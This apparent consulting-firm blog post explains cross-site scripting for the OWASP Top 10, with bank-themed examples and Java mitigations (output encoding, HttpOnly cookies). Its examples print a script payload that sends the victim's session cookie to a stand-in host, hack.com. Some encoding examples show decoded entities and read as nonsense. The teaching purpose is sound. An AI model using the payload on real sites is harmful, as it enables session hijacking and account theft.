OWASP Top 10 - A3 Cross Site Scripting (XSS)

Description

Cross-Site Scripting is a specific consequence of an injection attack. The goal is to make a web browser execute arbitrary scripting code (Javascript, ActionScript, ActiveX…) usually to steal personal information.

Examples

Persistent XSS attack

The attacker’s bank website proposes a messaging service to communicate with the clerk.
The attacker posts the following message:
Happy New Year!
<script>x=new Image(); x.src=’http://hack.com/ilovecookies.jsp?yummy=’+document.cookie</script>

Once connected on the bank’s website with its special account, the bank clerk consults its new messages. When he opens the suspicious message, he will see the “Happy New Year!” greetings. The second line of the message will not be shown but interpreted by his browser which will silently send his session ID to hack.com. Then the attacker will be able to hijack the clerk’s session on the bank’s website to have access to sensitive information on other clients…

Non-persistent XSS attack

The attacker sends to the clerk an email asking him to consult its account with the following direct link to the website:
https://www.mybank.com/details?iban=

Once authenticated with its own account, the clerk tries to display the account page using the provided link but obviously the bank could not find the requested IBAN and displays an error page to the clerk:
IBAN not found: <script>x=new Image(); x.src=’http://hack.com/ilovecookies.jsp?yummy=’+document.cookie</script>

Of course, the clerk can only see the beginning of the message “IBAN not found: “. The javascript snippet is interpreted by the clerk’s browser and silently send the clerk’s session ID to hack.com.

Mitigations

Protection against injection attack

If your web application is not protected against injection attacks, it is definitely vulnerable to XSS attacks. When possible, validate untrusted input before usage and storage.

Output encoding

Sometimes, it is difficult to have an exhaustive white-list of allowed characters when the input is a free text. In theses cases, it is important to canonicalize the input data before storage then encode output data so that special characters are not misinterpreted by the browser. If you don’t canonicalize the input data before storage, encoded input data will be re-encoded.
E.g. < and > must be converted into < and > in HTML pages or the string between these 2 characters could be interpreted by the browser as an HTML tag. In the examples above, after encoding, <script> becomes <script> and won’t be interpreted as a script tag by the browser but displayed as text. Thus the suspicious javascript code won’t be executed.
Of course, untrusted code can be inserted anywhere in the web page. ESAPI‘s Encoder can be used to encode characters depending on where you need to insert untrusted code. Below are some examples:

<strong>Encoder encoder = ESAPI.encoder();<br></br>
String rawOutput = "<script>alert(\"hello\");</script>";<br></br>
System.out.println("Encoded for HTML : "+encoder.encodeForHTML(rawOutput));<br></br>
System.out.println("Encoded for CSS : "+encoder.encodeForCSS(rawOutput));<br></br>
System.out.println("Encoded for Javascript : "+encoder.encodeForJavaScript(rawOutput));<br></br>
System.out.println("Encoded for URL : "+encoder.encodeForURL(rawOutput));<br></br></strong>

Console output:

<em>Encoded for HTML : <script>alert("hello");</script><br></br>
Encoded for CSS : \3c script\3e alert\28 \22 hello\22 \29 \3b \3c \2f script\3e<br></br>
Encoded for Javascript : \x3Cscript\x3Ealert\x28\x22hello\x22\x29\x3B\x3C\x2Fscript\x3E<br></br>
Encoded for URL : %3Cscript%3Ealert%28%22hello%22%29%3B%3C%2Fscript%3E</em>

Other open-source third-parties exist to encode text before output. Have a look on Apache Commons-Lang3 API. It is less strict on encoding but it is acceptable for a simple web application.

<strong>System.out.println("Encoded for HTML : "+StringEscapeUtils.escapeHtml4(rawOutput));</strong>

Console output:

<em>Encoded for HTML : <script>alert("hello");</script></em>

HTTPOnly cookie flag

The examples above show teo different ways to steal a session ID. As discussed in the previous article, if an attacker steals the session ID of an user authenticated on a website, he can impersonate the victim on that website.

Although only the web browser needs to know the session ID, anyone (including a script) could read the value. That’s why Microsoft IE6 developers decided to implement the HTTPOnly flag. When this flag is set (and if the browser supports it), the XSS attack above won’t be able to steal the session ID.

If your application is Servlet 3.0 compliant, you can configure it by adding the following in your <strong>web.xml</strong>:

<strong><session-config><br></br>
  <cookie-config><br></br>
    <http-only>true</http-only><br></br>
  </cookie-config><br></br>
</session-config></strong>

Otherwise, you will need to configure your server. For example, if you use Apache Tomcat 6, you can set the HTTPOnly flag on cookies by adding the attribute <strong>useHttpOnly="true"</strong> in your <strong>context.xml</strong>:

<strong><Context ... <em>useHttpOnly="true"</em>><br></br>
</Context></strong>

To see all articles related to OWASP Top 10, follow the tag #owasp


Vous avez trouvé cette publication utile? Cliquer sur
Ippon
Ippon est un cabinet de conseil en technologies, créé en 2002 par un sportif de Haut Niveau et un polytechnicien, avec pour ambition de devenir leader sur les solutions Digitales, Cloud et BigData.

Ippon accompagne les entreprises dans le développement et la transformation de leur système d’information avec des applications performantes et des solutions robustes.

Ippon propose une offre de services à 360° pour répondre à l’ensemble des besoins en innovation technologique : Conseil, Design, Développement, Hébergement et Formation.

Nous avons réalisé, en 2017, un chiffre d’affaires de 31 M€ en croissance organique de 30%. Nous sommes aujourd’hui un groupe international riche de plus de 320 consultants répartis en France, aux USA, en Australie et au Maroc.
FRANCE Website LinkedIn